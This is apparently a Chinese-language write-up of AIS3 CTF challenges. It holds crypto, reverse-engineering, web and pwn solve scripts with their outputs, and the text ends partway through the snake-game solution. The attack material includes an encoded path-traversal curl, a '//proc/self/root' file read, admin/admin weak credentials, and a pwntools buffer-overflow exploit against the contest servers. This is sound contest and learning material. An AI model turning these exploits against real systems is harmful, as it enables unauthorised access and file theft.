[Welcome]

[Stream]
題目
from random import getrandbitsimport osfrom hashlib import sha512from flag import flag
def hexor(a: bytes, b: int): return hex(int.from_bytes(a)^b**2)
for i in range(80): print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))他會輸出前 80 個 最後一行是
sha512(os.urandom(1)) 只有 256 種可能,可以暴力解 還原前 80 個 r_i:對每個 cipher,嘗試 cipher ^ digest[b],檢查是否為平方
import hashlib, math, random, sysdef untemper(y): y ^= y >> 18 y ^= (y << 15) & 0xEFC60000 for _ in range(7): y ^= (y << 7) & 0x9D2C5680 for _ in range(3): y ^= y >> 11 return y & 0xFFFFFFFFciphers = [int(l.strip(), 16) for l in open(sys.argv[1])]digest = [int.from_bytes(hashlib.sha512(bytes([b])).digest(), 'big') for b in range(256)]rs = []for c in ciphers[:80]: for d in digest: sq = c ^ d r = math.isqrt(sq) if r*r == sq: rs.append(r); breakwords = [(r >> (32*i)) & 0xFFFFFFFF for r in rs for i in range(8)]state = (3, (2147483648, *[untemper(w) for w in words[:623]], 1), None)rng = random.Random(); rng.setstate(state)for _ in range(80): rng.getrandbits(256)r_flag = rng.getrandbits(256)flag_int = ciphers[80] ^ (r_flag * r_flag)print(flag_int.to_bytes((flag_int.bit_length()+7)//8, 'big').decode())[18:26:42] ~/Downloads/dist-stream-2ee294b153c47451391a447691e5caa7d85d5d0e ➜ python3 2.py output.txtAIS3{no_more_junks...plz}[Hill]
題目
import numpy as np
p = 251n = 8
def gen_matrix(n, p): while True: M = np.random.randint(0, p, size=(n, n)) if np.linalg.matrix_rank(M % p) == n: return M % p
A = gen_matrix(n, p)B = gen_matrix(n, p)
def str_to_blocks(s): data = list(s.encode()) length = ((len(data) - 1) // n) + 1 data += [0] * (n * length - len(data)) # padding blocks = np.array(data, dtype=int).reshape(length, n) return blocks
def encrypt_blocks(blocks): C = [] for i in range(len(blocks)): if i == 0: c = (A @ blocks[i]) % p else: c = (A @ blocks[i] + B @ blocks[i-1]) % p C.append(c) return C
flag = "AIS3{Fake_FLAG}"blocks = str_to_blocks(flag)ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:")for c in ciphertext: print(c)
t = input("input: ")blocks = str_to_blocks(t)ciphertext = encrypt_blocks(blocks)for c in ciphertext: print(c)連上後會先印出某個矩陣矩陣
矩陣 ,其中
矩陣
將明文切成 8 bit 組一組的向量
加密規則如下:
對於每一列 ,有:
求
from pwn import *import numpy as npimport random
p_mod ,n ,L= 251, 8, 20def mod_inv(a): return pow(int(a) % p_mod, p_mod - 2, p_mod)
def gauss_solve(mat, vec): mat = mat.copy() % p_mod vec = vec.copy() % p_mod r, c = mat.shape row = 0 for col in range(c): pivot = next((i for i in range(row, r) if mat[i, col]), None) if pivot is None: continue if pivot != row: mat[[row, pivot]] = mat[[pivot, row]] vec[[row, pivot]] = vec[[pivot, row]] inv = mod_inv(mat[row, col]) mat[row] = (mat[row] * inv) % p_mod vec[row] = (vec[row] * inv) % p_mod for i in range(r): if i == row: continue factor = mat[i, col] if factor: mat[i] = (mat[i] - factor * mat[row]) % p_mod vec[i] = (vec[i] - factor * vec[row]) % p_mod row += 1 if row == r: break
sol = np.zeros(c, dtype=int) for i in range(r): leading = next((j for j in range(c) if mat[i, j]), None) if leading is not None: sol[leading] = vec[i] % p_mod return sol
io = remote('chals1.ais3.org', 18000)io.recvuntil(b"Encrypted flag:\n")
data = io.recvuntil(b"input: ")lines = data.decode().splitlines()
flag_ct = []for l in lines: l = l.strip() if l.startswith('['): nums = [int(x) for x in l.strip('[]').split()] flag_ct.append(nums)
flag_ct = np.array(flag_ct, dtype=int) % p_mod
plain_bytes = [random.randint(33, 126) for _ in range(L * n)]my_plain = "".join(chr(b) for b in plain_bytes)io.sendline(my_plain.encode())
my_ct = []for _ in range(L): line = io.recvline().strip().decode() nums = [int(x) for x in line.strip("[]").split()] my_ct.append(nums)my_ct = np.array(my_ct, dtype=int) % p_modio.close()
my_blocks = np.array(plain_bytes, dtype=int).reshape(L, n) % p_mod
A = np.zeros((n, n), dtype=int)B = np.zeros((n, n), dtype=int)for row in range(n): mat = np.zeros((L, 2 * n), dtype=int) rhs = my_ct[:, row] for i in range(L): mat[i, :n] = my_blocks[i] if i > 0: mat[i, n:] = my_blocks[i - 1] sol = gauss_solve(mat, rhs) A[row] = sol[:n] B[row] = sol[n:]
A_aug = np.concatenate([A, np.eye(n, dtype=int)], axis=1) % p_modfor col in range(n): pivot = next(i for i in range(col, n) if A_aug[i, col]) if pivot != col: A_aug[[col, pivot]] = A_aug[[pivot, col]] inv = mod_inv(A_aug[col, col]) A_aug[col] = (A_aug[col] * inv) % p_mod for r in range(n): if r == col: continue factor = A_aug[r, col] if factor: A_aug[r] = (A_aug[r] - factor * A_aug[col]) % p_modA_inv = A_aug[:, n:] % p_mod
m_blocks = []m0 = (A_inv @ flag_ct[0]) % p_modm_blocks.append(m0)for i in range(1, len(flag_ct)): tmp = (flag_ct[i] - (B @ m_blocks[i - 1]) % p_mod) % p_mod mi = (A_inv @ tmp) % p_mod m_blocks.append(mi)m_blocks = np.array(m_blocks, dtype=int)
plain_nums = m_blocks.flatten().tolist()while plain_nums and plain_nums[-1] == 0: plain_nums.pop()flag_bytes = bytes(plain_nums)print(flag_bytes.decode())[13:44:07] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/237.py"[+] Opening connection to chals1.ais3.org on port 18000: Done[*] Closed connection to chals1.ais3.org port 18000AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}[Random_RSA]
題目
from Crypto.Util.number import getPrime, bytes_to_longfrom sympy import nextprimefrom gmpy2 import is_prime
FLAG = b"AIS3{Fake_FLAG}"
a = getPrime(512)b = getPrime(512)m = getPrime(512)a %= mb %= mseed = getPrime(300)
rng = lambda x: (a*x + b) % m
def genPrime(x): x = rng(x) k=0 while not(is_prime(x)): x = rng(x) return x
p = genPrime(seed)q = genPrime(p)
n = p * qe = 65537m_int = bytes_to_long(FLAG)c = pow(m_int, e, n)
# hintseed = getPrime(300)h0 = rng(seed)h1 = rng(h0)h2 = rng(h1)
with open("output.txt", "w") as f: f.write(f"h0 = {h0}\n") f.write(f"h1 = {h1}\n") f.write(f"h2 = {h2}\n") f.write(f"M = {m}\n") f.write(f"n = {n}\n") f.write(f"e = {e}\n") f.write(f"c = {c}\n")
seed = getPrime(300)- :
有
消元可得
對任意
令 使
設 ,則
消去 (s):得到二次同餘
記
則 (p) 為
只要 在模 下即可取根
from sympy import sqrt_mod, mod_inverse, isprimefrom Crypto.Util.number import long_to_bytes
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133m = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283e = 65537c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
a = (h1 - h2) * mod_inverse(h0 - h1, m) % mb = (h1 - a * h0) % minv_am1 = mod_inverse((a - 1) % m, m)
for t in range(1, 600): A = pow(a, t, m) B = b * (A - 1) * inv_am1 % m Δ = (B*B + 4*A*n) % m roots = sqrt_mod(Δ, m, all_roots=True) for r in roots: p = ((-B + r) * mod_inverse(2*A, m)) % m if p and n % p == 0 and isprime(p): q = n // p assert isprime(q) φ = (p-1)*(q-1) d = mod_inverse(e, φ) flag = long_to_bytes(pow(c, d, n)) print(flag.decode()) exit(0)[14:35:43] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/233.py"AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}[Happy Happy Factoring]
題目
import randomfrom functools import reduce
from gmpy2 import is_prime
prime_list = [num for num in range(3, 5000) if is_prime(num)]
def get_william_prime(): while True: li = [2] + random.choices(prime_list, k=85) n = reduce(lambda x, y: x * y, li) if is_prime(n - 1): return n - 1
def get_pollard_prime(): while True: li = [2] + random.choices(prime_list, k=85) n = reduce(lambda x, y: x * y, li) if is_prime(n + 1): return n + 1
def get_fermat_prime(): a = random.getrandbits(1024) if a % 2 != 0: a += 1 check = 0 for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2): if (not check & 1) and is_prime(a + offset): check |= 1 p = a + offset if (not check & 2) and is_prime(a - offset): check |= 2 q = a - offset if check == 3: return p, q
def main(): wi = get_william_prime() po = get_pollard_prime() fp, fq = get_fermat_prime()
n = wi * po * po * fp * fq e = 0x10001 m = int.from_bytes(open('flag.txt').read().strip().encode()) c = pow(m, e, n)
print(f'n = {n}') print(f'e = {e}') print(f'c = {c}')
main()題目把 4 個大質數相乘得到
對於質數p,如果p-1的所有質因數都較小,則可以通過以下步驟找到p:
- 選擇底數a
- 計算 a^B mod n,其中B是所有小質數的乘積
- 如果p-1的所有因數都包含在B中,則 a^B ≡ 1 (mod p)
- 計算 gcd(a^B - 1, n) 可能得到p
對於質數p,如果
則對於底數a:
如果,則:
,
import re, mathn = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339e = 65537c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991
def primes_upto(m=5000): sieve = bytearray(b"\x01") * (m + 1) sieve[0:2] = b"\x00\x00" for i in range(2, int(m ** 0.5) + 1): if sieve[i]: sieve[i * i : m + 1 : i] = b"\x00" * ((m - i * i) // i + 1) return [i for i in range(2, m + 1) if sieve[i]]
SMALL_PRIMES = primes_upto()
def pollard_pm1(N, rounds=128, bases=(2, 3, 5, 7, 11, 13, 17, 19)): for a0 in bases: a = a0 for q in SMALL_PRIMES: for _ in range(rounds): a = pow(a, q, N) g = math.gcd(a - 1, N) if 1 < g < N: return g return None
def invmod(a, m): return pow(a, -1, m)
def extract_n_e_c(text): n = int(re.search(r'n\s*=\s*(\d+)', text).group(1)) e = int(re.search(r'e\s*=\s*(\d+)', text).group(1)) c = int(re.search(r'c\s*=\s*(\d+)', text).group(1)) return n, e, c
p = pollard_pm1(n)if n % (p * p): r = math.isqrt(p) if r * r == p and n % (r * r) == 0: p = rassert n % (p * p) == 0d = invmod(e, p - 1)m = pow(c, d, p)msg = m.to_bytes((m.bit_length() + 7) // 8, "big")print(msg.decode())[13:28:13] ~/Downloads/dist-happy-happy-factoring-95b63f1513c5473a8ac6251ce96e1602f81a2121 ➜ /usr/local/bin/python3 /Users/yih_0118/Downloads/dist-happy-happy-factoring-95b63f1513c5473a8ac6251ce96e1602f81a2121/2.pyAIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}[SlowECDSA]
題目
#!/usr/bin/env python3
import hashlib, osfrom ecdsa import SigningKey, VerifyingKey, NIST192pfrom ecdsa.util import number_to_string, string_to_numberfrom Crypto.Util.number import getRandomRangefrom flag import flag
FLAG = flag
class LCG: def __init__(self, seed, a, c, m): self.state = seed self.a = a self.c = c self.m = m
def next(self): self.state = (self.a * self.state + self.c) % self.m return self.state
curve = NIST192psk = SigningKey.generate(curve=curve)vk = sk.verifying_keyorder = sk.curve.generator.order()
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
def sign(msg: bytes): h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order k = lcg.next() R = k * curve.generator r = R.x() % order s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order return r, s
def verify(msg: str, r: int, s: int): h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order try: sig = number_to_string(r, order) + number_to_string(s, order) return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest()) except: return False
example_msg = b"example_msg"print("Available options: get_example, verify")
while True: opt = input("Enter option: ").strip()
if opt == "get_example": print(f"msg: {example_msg.decode()}") example_r, example_s = sign(example_msg) print(f"r: {hex(example_r)}") print(f"s: {hex(example_s)}")
elif opt == "verify": msg = input("Enter message: ").strip() r = int(input("Enter r (hex): ").strip(), 16) s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s): if msg == "give_me_flag": print(FLAG.decode())ECDSA簽章的產生過程:
- 隨機數:
LCG的遞推公式:
題目中的參數:
對於兩個連續 和 ,我們有:
其中 ,且
從方程式中消除
使兩式相等
將 和 代入並整理
設:
則:
一旦得到 , 可以透過以下公式計算:
偽造簽章
計算未來的隨機數:
對 “give_me_flag” 產生簽章:
from pwn import *import re, hashlibfrom ecdsa import NIST192pfrom Crypto.Util.number import inverse
curve = NIST192pG = curve.generatorn = G.order()a, c = 1103515245, 12345h_ex = int.from_bytes(hashlib.sha1(b"example_msg").digest(), 'big') % n
def recv_pair(io): io.recvuntil(b"msg:") io.recvline() r_line = io.recvline() s_line = io.recvline() r = int(re.search(rb"0x[0-9a-f]+", r_line)[0], 16) s = int(re.search(rb"0x[0-9a-f]+", s_line)[0], 16) return r, s
io = remote('chals1.ais3.org', 19000)
for _ in range(2): io.recvuntil(b"Enter option:") io.sendline(b"get_example") if _ == 0: r0, s0 = recv_pair(io) else: r1, s1 = recv_pair(io)
A = (a * s1 * r0 - r1 * s0) % nB = (c * s1 * r0 + h_ex * (r1 - r0)) % nk0 = (-B) * inverse(A, n) % nd = (s0 * k0 - h_ex) * inverse(r0, n) % nprint(f"[+] k0 = {k0}")print(f"[+] d = {d}")
k1 = (a * k0 + c) % nk2 = (a * k1 + c) % nR = k2 * Gr = R.x() % nh_target = int.from_bytes(hashlib.sha1(b"give_me_flag").digest(), 'big') % ns = (inverse(k2, n) * (h_target + r * d)) % n
io.recvuntil(b"Enter option:")io.sendline(b"verify")io.sendline(b"give_me_flag")io.sendline(hex(r).encode())io.sendline(hex(s).encode())
io.interactive()[01:00:10] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/236.py"[+] Opening connection to chals1.ais3.org on port 19000: Done[+] k0 = 3517535011547372439667544428981429247283241746564365149642[+] d = 742592174612735250432633840589015146439226119723506253349[*] Switching to interactive mode Enter message: Enter r (hex): Enter s (hex): ✅ Correct signature! Here's your flag:AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}Enter option: $[*] Interrupted[*] Closed connection to chals1.ais3.org port 19000[Tomorin db 🐧]
主要他會redirect
package main
import "net/http"
func main() { http.Handle("/", http.FileServer(http.Dir("/app/Tomorin"))) http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound) }) http.ListenAndServe(":30000", nil)}繞過就好
[14:45:19] ~ ➜ curl "http://chals1.ais3.org:30000/flag/..%2fflag"AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}[Login Screen 1]
他的users.db可以直接下載到
直接看光光
弱密碼admin/admin 直接知道2fa code 就看到了 
[Ramen CTF]
去看發票的賣家統編 
根據qrcode上的資料會找到是 AIS3{樂山溫泉拉麵:蝦拉麵}
[AIS3 Tiny Server - Web / Misc]
慢慢去翻 會發現//會看到目錄下的東西 http://chals1.ais3.org:20274//proc/self/root/readable_flag_qnmAwQttOwNaFbe8nVHmJoMwQBJJGnlE↗
AIS3{tInY_We8_53rVeR_W1tH_FILe_8rOWs1n9_a$_@_FeaTUre}
[Welcome to the World of Ave Mujica🌙]
丟ida後的main
int __fastcall main(int argc, const char **argv, const char **envp){ char buf[143]; // [rsp+0h] [rbp-A0h] BYREF char s[8]; // [rsp+8Fh] [rbp-11h] BYREF unsigned __int8 int8; // [rsp+97h] [rbp-9h] char *v7; // [rsp+98h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); printf("\x1B[2J\x1B[1;1H"); printf("\x1B[31m"); printf("%s", (const char *)banner); puts(&byte_402A78); puts(&byte_402AB8); fgets(s, 8, stdin); v7 = strchr(s, 10); if ( v7 ) *v7 = 0; if ( strcmp(s, "yes") ) { puts(&byte_402AE8); exit(1); } printf(&byte_402B20); int8 = read_int8(); printf(&byte_402B41); read(0, buf, int8); return 0;}read_int8() 函數unsigned __int8的時候 -1 時,在 signed 解釋下為 -1 但當轉換為 unsigned __int8會被解釋為 255 當int8 = 255 時,可以寫入 255
[rsp+0h] -> buf[143] (143 bytes)[rsp+8Fh] -> s[8] (8 bytes)[rsp+97h] -> int8 (1 byte)[rsp+98h] -> v7 (8 bytes)[rbp+8h] -> return address計算 offset:
- buf:rsp+0h
- return address 位置:rbp+8h
- rbp 在 rsp+0xA0h 的位置
- 所以 offset = 0xA0 + 8 = 168
from pwn import *
context.encoding = 'utf-8'context.log_level = 'debug'
elf = ELF('./chal')p = remote('chals1.ais3.org', 60890)
p.recvuntil('你願意把剩餘的人生交給我嗎?'.encode())p.sendline(b'yes')
p.recvuntil('告訴我你的名字的長度:'.encode())p.sendline(b'-1')
offset = 168win_addr = elf.symbols['Welcome_to_the_world_of_Ave_Mujica']payload = b'A' * offset + p64(win_addr)
p.sendafter('告訴我你的名字:'.encode(), payload)
p.interactive()root@DESKTOP-EL5KGCJ:/mnt/c/Users/User/Downloads/dist-ave-mujica-35b29c89e8867ab33fcb802afcc3488a28c210f1/service# python3 1.py[*] '/mnt/c/Users/User/Downloads/dist-ave-mujica-35b29c89e8867ab33fcb802afcc3488a28c210f1/service/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No[x] Opening connection to chals1.ais3.org on port 60[▁] Opening connection to chals1.ais3.org on port 60403:Opening connection to chals1.ais3.org on port 60[+] Done[*] Switching to interactive mode 🎸 歡迎來到 Ave Mujica 的世界...🎭由 豐川集團 獨家冠名贊助ト(😮T)ガ(😃G)ワ(😉W)グルー(😄👐)プ立希漂亮漂亮漂亮海鈴帥氣帥氣帥氣$ cat flagAIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._f8 8950d30bae763ad176c839f48fbd326}$[*] Interrupted[*] Closed connection to chals1.ais3.org port 60403[AIS3 Tiny Server - Reverse]
在ida逆向後有看到一個神秘的東西
BOOL __cdecl sub_1E20(int a1){ unsigned int v1; // ecx char v2; // si char v3; // al int i; // eax char v5; // dl _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF int v8[11]; // [esp+12h] [ebp-3Eh] __int16 v9; // [esp+3Eh] [ebp-12h]
v1 = 0; v2 = 51; v9 = 20; v3 = 114; v8[0] = 1480073267; v8[1] = 1197221906; v8[2] = 254628393; v8[3] = 920154; v8[4] = 1343445007; v8[5] = 874076697; v8[6] = 1127428440; v8[7] = 1510228243; v8[8] = 743978009; v8[9] = 54940467; v8[10] = 1246382110; qmemcpy(v7, "rikki_l0v3", sizeof(v7)); while ( 1 ) { *((_BYTE *)v8 + v1++) = v2 ^ v3; if ( v1 == 45 ) break; v2 = *((_BYTE *)v8 + v1); v3 = v7[v1 % 0xA]; } for ( i = 0; i != 45; ++i ) { v5 = *(_BYTE *)(a1 + i); if ( !v5 || v5 != *((_BYTE *)v8 + i) ) return 0; } return *(_BYTE *)(a1 + 45) == 0;}回推即可
import struct
v8_ints = [ 1480073267, 1197221906, 254628393, 920154, 1343445007, 874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110]seed = b"".join(struct.pack("<I", x) for x in v8_ints) + bytes([20])key = b"rikki_l0v3"
v2, v3 = 0x33, 0x72flag = bytearray(45)
for i in range(45): flag[i] = v2 ^ v3 if i == 44: break v2 = seed[i + 1] v3 = key[(i + 1) % len(key)]
print(flag.decode())[01:47:02] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/250.py"AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}[web flag checker]
要去逆向index.wasm 先把 wasm 轉成 wat 再decompile一次 會看到flagchcker的部分
export function flagchecker(a:int):int { // func9 var b:int = g_a; var c:int = 96; var d:int = b - c; g_a = d; d[22]:int = a; var e:int = -39934163; d[21]:int = e; var f:int = 64; var g:long_ptr = d + f; var h:long = 0L; g[0] = h; var i:int = 56; var j:long_ptr = d + i; j[0] = h; var k:int = 48; var l:long_ptr = d + k; l[0] = h; d[5]:long = h; d[4]:long = h; var m:long = 7577352992956835434L; d[4]:long = m; var n:long = 7148661717033493303L; d[5]:long = n; var o:long = -7081446828746089091L; d[6]:long = o; var p:long = -7479441386887439825L; d[7]:long = p; var q:long = 8046961146294847270L; d[8]:long = q; var r:int = d[22]:int; var s:int = 0; var t:int = r != s; var u:int = 1; var v:int = t & u; if (eqz(v)) goto B_c; var w:int = d[22]:int; var x:int = f_n(w); var y:int = 40; var z:int = x != y; var aa:int = 1; var ba:int = z & aa; if (eqz(ba)) goto B_b; label B_c: var ca:int = 0; d[23]:int = ca; goto B_a; label B_b: var da:int = d[22]:int; d[7]:int = da; var ea:int = 0; d[6]:int = ea; loop L_e { var fa:int = d[6]:int; var ga:int = 5; var ha:int = fa < ga; var ia:int = 1; var ja:int = ha & ia; if (eqz(ja)) goto B_d; var ka:int = d[7]:int; var la:int = d[6]:int; var ma:int = 3; var na:int = la << ma; var oa:long_ptr = ka + na; var pa:long = oa[0]; d[2]:long = pa; var qa:int = d[6]:int; var ra:int = 6; var sa:int = qa * ra; var ta:int = -39934163; var ua:int = ta >> sa; var va:int = 63; var wa:int = ua & va; d[3]:int = wa; var xa:long = d[2]:long; var ya:int = d[3]:int; var za:long = f_i(xa, ya); var ab:int = d[6]:int; var bb:int = 32; var cb:int = d + bb; var db:int = cb; var eb:int = 3; var fb:int = ab << eb; var gb:long_ptr = db + fb; var hb:long = gb[0]; var ib:int = za != hb; var jb:int = 1; var kb:int = ib & jb; if (eqz(kb)) goto B_f; var lb:int = 0; d[23]:int = lb; goto B_a; label B_f: var mb:int = d[6]:int; var nb:int = 1; var ob:int = mb + nb; d[6]:int = ob; continue L_e; } label B_d: var pb:int = 1; d[23]:int = pb; label B_a: var qb:int = d[23]:int; var rb:int = 96; var sb:int = d + rb; g_a = sb; return qb;}逆向拼回去就好了
C = [ 0x69282A668AEF666A, 0x633525F4D7372337, 0x9DB9A5A0DCC5DD7D, 0x9833AFAFB8381A2F, 0x6FAC8C8726464726,]
MASK64 = (1 << 64) - 1rot_l = lambda x, s: ((x << s) | (x >> (64 - s))) & MASK64rot_r = lambda x, s: ((x >> s) | (x << (64 - s))) & MASK64
SH = [((-39934163) >> (i * 6)) & 0x3F for i in range(5)]
blocks = [rot_r(v, s).to_bytes(8, "little") for v, s in zip(C, SH)]
flag = b"".join(blocks).decode()print(flag)[02:01:56] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/252.py"AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}[A_simple_snake_game]
一個貪吃蛇的遊戲,慢慢去翻,翻到一個神奇的東西
// -----------------------------------------------------// Function: __ZN9SnakeGame6Screen8drawTextEii// Address: 0x4029ba// -----------------------------------------------------void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4){ unsigned int v4; // eax int v5; // eax char *v6; // eax char *Error; // eax int v8; // eax char v9; // [esp+13h] [ebp-F5h] char lpuexcpt; // [esp+14h] [ebp-F4h] struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h] struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h] int v14[10]; // [esp+5Dh] [ebp-ABh] BYREF __int16 v15; // [esp+85h] [ebp-83h] char v16; // [esp+87h] [ebp-81h] int v17; // [esp+88h] [ebp-80h] int v18; // [esp+8Ch] [ebp-7Ch] int v19; // [esp+90h] [ebp-78h] int v20; // [esp+94h] [ebp-74h] int v21; // [esp+98h] [ebp-70h] char v22[24]; // [esp+9Ch] [ebp-6Ch] BYREF int v23; // [esp+B4h] [ebp-54h] int v24; // [esp+B8h] [ebp-50h] int v25; // [esp+BCh] [ebp-4Ch] int v26; // [esp+C0h] [ebp-48h] int v27; // [esp+C4h] [ebp-44h] char v28[27]; // [esp+C8h] [ebp-40h] BYREF char v29; // [esp+E3h] [ebp-25h] BYREF int TextureFromSurface; // [esp+E4h] [ebp-24h] int v31; // [esp+E8h] [ebp-20h] unsigned int i; // [esp+ECh] [ebp-1Ch]
if ( (int)this <= 11451419 || a3 <= 19810 ) { SnakeGame::Screen::createText[abi:cxx11](v28, (int)a1, (int)this, a3); v27 = 0xFFFFFF; v8 = std::string::c_str(v28); a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF); a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]); v23 = 400; v24 = 565; v25 = 320; v26 = 30; SDL_RenderCopy(a1[1], a1[4]); std::string::~string(v28); } else { v14[0] = -831958911; v14[1] = -1047254091; v14[2] = -1014295699; v14[3] = -620220219; v14[4] = 2001515017; v14[5] = -317711271; v14[6] = 1223368792; v14[7] = 1697251023; v14[8] = 496855031; v14[9] = -569364828; v15 = 26365; v16 = 40; std::allocator<char>::allocator(&v29); std::string::basic_string(v14, 43, &v29); std::allocator<char>::~allocator(&v29); for ( i = 0; ; ++i ) { v4 = std::string::length(v22); if ( i >= v4 ) break; lpuexcpt = *(_BYTE *)std::string::operator[](i); v9 = SnakeGame::hex_array1[i]; *(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt; } v21 = 0xFFFFFF; v5 = std::string::c_str(v22); v31 = TTF_RenderText_Solid(a1[5], v5, v21); if ( v31 ) { TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v31); if ( TextureFromSurface ) { v17 = 200; v18 = 565; v19 = 590; v20 = 30; SDL_RenderCopy(a1[1], TextureFromSurface); SDL_FreeSurface(v31); SDL_DestroyTexture(TextureFromSurface); } else { lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>( (std::ostream::sentry *)&std::cerr, "SDL_CreateTextureFromSurface: "); Error = (char *)SDL_GetError(); std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error); std::ostream::operator<<(std::endl<char,std::char_traits<char>>); SDL_FreeSurface(v31); } } else { lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>( (std::ostream::sentry *)&std::cerr, "TTF_RenderText_Solid: "); v6 = (char *)SDL_GetError(); std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6); std::ostream::operator<<(std::endl<char,std::char_traits<char>>); } std::string::~string(v22); }}感覺就是很像有flag的地方,把它拼回去吧
import struct
v14 = [ -831958911, -1047254091, -1014295699, -620220219, 2001515017, -317711271, 1223368792, 1697251023, 496855031, -569364828]
v15 = 26365v16 = 40
ciphertext = b''.join(struct.pack('<i', x) for x in v14)ciphertext += struct.pack('<H', v15)ciphertext += struct.pack('<B', v16)
